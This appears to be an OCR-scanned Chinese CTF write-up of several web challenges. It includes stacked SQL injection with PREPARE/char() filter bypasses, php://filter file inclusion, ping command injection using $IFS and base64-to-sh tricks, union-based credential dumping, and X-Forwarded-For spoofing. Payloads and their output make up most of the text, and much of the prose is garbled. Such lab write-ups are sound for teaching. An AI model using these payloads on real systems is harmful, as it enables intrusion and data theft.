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return preg_match(”/select |update |delete |drop |insert |where|\. /17, $inject)

R LT IREEEN, A3 T extractvalue()

R B3 — Fextractvalue(). iE¥E: extractvalue( B #mxmisChY, xmlBgiR), BRAEAMIXN..., TIRBZIEER SR HiREJEERN
7, FrUARATETCME WA WB BFRAS, Fconcat()BHE /R —kEH, HEEPE ~MASET

1’ and extractvalue(1,concat(’~',database()))#

error 1105 : ¥PATH syntax error:  supersqli’

BK32fr, #it32F substring()#&k
RIGE T LB KRR T, RABESEANRIAMRHKE

"'show tables;#

array(1) {

[0]=>

string(16) “1919810931114514"
}

array(1l) |
(o]=>
string(5) “words”

}
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';show columns from words;#

//E%E1919810931114514% [+ B
';show columns from ~1919810931114514" ;




array(6) |
[0]=>
string(2) “id”
[1]=>
string (7) “int(10)”
[2]=>
string(2) “NO”
[3]=>
string (0)
[4]=>
NULL
[5]1=>
gtring (0)
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array(6) {
[0]=>
string(4) “data”
[1]=>
string(11) “varchar(20)”
[2]=>
string(2) “NO”
[3]=>
string (0)
[4]=>
NULL
[5]=>
string (0)
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array(6) |
[0]=>
string(4) “flag”
[1]=>
string (12) “varchar (100)”
[2]=>
string(2) "NO”
[3]=>
string(0)
[4]=>
NULL
[5]1=>
string (0) ””
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@';rename table words to wordsl;rename table "1919810931114514° to words;alter table words change flag id varcha

r(100) CHARACTER SET utf8 COLLATE utf8_general ci NOT NULL;desc words;#

ALTER TABLE %45 CHANGE COLUMN %14 #5114 Bk
PAEIX AN idf 51 B T B S Br b R flag T

WIEMATor 1=1#, 14RERE|, FrilsERRE Y ag

array(1) |

[0]=>

string(42) “flaz {15e0881c-0717-41a3-a6f3-84a434bc703d}
}
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—% SQL £ DB # W B B A AT B EREl, KBMEREMNT:
WNERIE SURIT;
Ptk SQL iEH], il AT THRI;
PAT IR B SR

mt, —% SQL EERAERMELAE, —REFE, BREIT, WBEEEAHEHRIE Immediate Statements  (EIEF SQL)

Mysqli&ik:

5 L TRAL B A
PREPARE stmt_name FROM preparable_stmt;
AT TRAL B A

EXECUTE stmt_name [USING @var_name [, @var_name] ...];
i MR CRETR) 1€ X
{DEALLOCATE | DROP} PREPARE stmt_name;

Ry MAFREEXTHAE SQL (Ef=AFITE)



mysql> PREPARE stmtl FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
Query OK, © rows affected (0.00 sec)
Statement prepared

mysql> SET @a = 3;
Query OK, © rows affected (0.00 sec)

mysql> SET @b = 4;
Query OK, © rows affected (0.00 sec)

mysql> EXECUTE stmtl USING @a, @b;

1 row in set (0.00 sec)

mysql> DEALLOCATE PREPARE stmtl;
Query OK, © rows affected (0.00 sec)
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1. stmt_name 1EN preparable_stmt FjE i, ME—FRiR, FXS KN,
2. preparable_stmt iEHH K] ? &N HAFF, FIARKIR—NFRE, ARER? A5 SESEE.
3. EX—AEFELEM stmt_name , RAKKBSLEIRER, RUTFTEHEFIRME.

AERIFTFI A char() Bk select I ASCIRS i # AyselectEA/F &, #:55 F F concat() iR ik AT i 48 BlselectBE W)iEH), Mgt
S 9E. B H i concat()E it selectk gt .

char(115,101,108,101,99,116)<----->‘select’

payload1: AEHZE

1';PREPARE wmx from concat(char(115,101,108,101,99,116), ' * from ~1919810931114514" ');EXECUTE wmx;#

payload2: ffHTE

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from 1919810931114514  ');PREPARE wmx from @sqli;EXECUTE wmx

payload3: H & Hcontact(), A F char()

' ;PREPARE wmx from concat(' s ~',' “elect™ ™', '° “* ““from® " 1919810931114514" ');EXECUTE wmx;#

1 N T B payload#8 7] ## i flag

gk BEBENGITE, EEWEAE IR T DRI B FIITE R, RERAFULE, A contact(HHESE
%% hitps:/lwww.jianshu.com/p/36f0772f5ce8

[ACTF2020 #4: %% ]Include

php D X

payload: ?file=php:/ffilter/convert.base64-encode/resource=index.php



meta charset
php
error_reporting(9);
$ GET[

stristr($file, stristr($file,

I T IUAS, ARPEATEE A filter

payload: ?file=php:/ffilter/convert.base64-encode/resource=flag.php

{?php
echo “Can vou find out the flag?”:
//flag {01e96bce—4336-44e6-b2cT7-adcd828a4208}

[SUCTF 2019]EasySQL
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Give me your flag, | will tell you if the flag is right.
|| #2832

Array ([0] => 1) Array ([0] => Flag )

stristr($file,

REHRBART, SWTHZ?

Give me your flag, | will tell you if the flag is right.
5hmﬂcmunmsﬁ0n1ﬂag#|‘ﬁﬁﬁ

Nonono.

BEAKITERwp, nmREAKIZFHF

select $ GET['query'] || flag from flag

BEAMERIXRE: 1
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1;set sql _mode=PIPES_AS CONCAT;select 1
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: § curl http://f 0d4 (4-901411£773a4. ne . buuoj. c /action. php

secr3tH:

<html >
{titlersecret{/title>
<{meta charset="UTF-3">
<Tphp
highlight_file(_ FILE_ J;
error_reporting (0]
$£ile=3_GET[ file’ ];
ifistrstr(3file, .. /") | |stristr($file, “tp")||stristridfile, “input”) | |stristr(§file, “data™)) {
echo “Dh no!”;
exit();
}
include($file)

P>
</html > CSDMN @1 ZAYAK

BB T XHaE, ik ?file=php:/filter/convert.base64-encode/resource=flag.php

<html>
{titlersecret<d/title>
<meta charset="UTF-8">
<Iphp
highlight file( FILE J:
error_reporting (0);
Ffile=% GET[ file']:
if(strstr($file, 7. . /) | ‘Etristr (3file, “tp™) | |stristr($file, “input”) | ‘Etristr ($file, “data™)) {
echo “Oh no!™;
exit();
include($filel:
Eps
</html>

PCFETONUWVBFIGhObWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8LWVOYSBjaGFyc2VOPSI1dGYtOCI+CiAgICAgICAGF
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<!DOCTYPE html>

charset="
>FLAG</

style="background-color:

style="font-family: ;color:red;text-align: sUSWIRG ! JRIRBIFR T ! AT RARE A B FHQAQ~~~< /

style="font-family: ;color: ;font-size: ;text-align:

emmmmaLix AT fE 5 H & Fnpy~
[ACTF2020 %74 3% ]Exec
A PAT

2R %iR127.0.0.1;ls

PING

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes
index.php

_‘
.
-
=
I~
"
)

HiE

127.0.0.1|cat fflag



PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag{b68d982a-9eba-405d-b32f-00d8fee79672}
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4, && (BEREBHES) , WRATHNE, FHKMESEARIT, WRETHNEPATHE X N4
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S XMIHEREE: hitps://blog.csdn.net/weixin_44348894/article/details/105347418
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WS 1" or 1=1#, HHLFEES

N Helio'admin!
i Wour password is '76771a4c76d7bac5cg7906fd33db5990"
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Unknown column ‘4’ in 'order clause’
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1" union select 1,version(),@@version_compile_os#

HeIIO 10 . 18—Mar|aDB'

%ur password is 'Linux

E&EBIEEF R F 41 union

select database(),user()#

Hello geek'
%ur password is ‘root@Ilocalhost
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Hello geekuser IQve1ysq1!
‘g %ur password is 'geekuser’

-
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1" union select 1,2, group_concat(column_name) from information_schema.columns where table_name=I0ve1ysq1'#

- Hello' 2!

our password is 'id,username, passworg

SRR

1’ union select 1,database(),group_concat(id,username,password) from |Ove1ysq1#



Hello geek! :
Your passwaord is/ B e K

'1cl4ywo-tai'nan le 2g|ZJIDQ|ZJI[J wanta arglﬂfnend 3Z4cHAr7zCrbiad
eeS7~4730—b3d91333644"eD166’1} :
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WREHET, i Mipts
W
?ip=127.0.0.1JIs

/?ip=

flag. php
index. php

& FEflag.php B H
?ip=127.0.0.1|cat flag

/?ip= fxck your space!

? RPANEERE, BRETEPOLIET
$IFS$9 geid

2ip=127.0.0.1|cat$IFS$9flag

/?ip= fxck your flag!

TP T A, RREREindex B T I R

[?ip=127.0.0.1|cat$IFS$9index.php



<?php
if(isset($_GET[ )H{
$ip = $_GET[ 15
if(preg_match( , $ip, $match)){
echo preg_match( , $ip, $match);
die(
else if(preg_match(
die(
else if(preg_match(
die(
} else if(preg_match(
die(
}
$a shell exec(
echo 5

print _r(%$a);

RIBBARET, %7 XAIFEhttps://www.freesion.com/article/6089671488/
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/?ip=127.0.0.1;a=g;cat$IFS$1flasa.php

FiEZ: it iEBASHH SHHT

Y2F0IGZsYWcucGhw =) cat flag.php

/?ip=127.0.0.1;echo$IFS\$1Y2FOIGZsYWcucGhw|base64$IFS$1-d|sh

FE=: ABRIIT KR5S a2 % E AT

/?ip=127.0.0.1;cat$IFS$9 1s"
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</br></br></bes></br></br></br></br></br></br></br></br></br>

<hl style="font-family:arial;color:#BE44AD; font-size:50px; text-align:center; font-family:KaiTi;">
Please use "Syclover" browser</hl>

<div style="position: abscolute;bottom: O0:;width: 95%;"><p align="center" style="font:italic 1l5px
Georgia,serif;color:white; "> Syclover @ cldy</p></dive

</body>

</html>

User-Agent: Syclover|

Ho!!! you can only read this locally!!!</hl>
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X-Forwarded-For:127.0.0.1
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<hl style="font-family:arial;color:#8E44AD; font-size:50px; text-align:center; font-fami.
flag{fchT7ab30-083a-42be-b6d4c-8e35d0939de0 }
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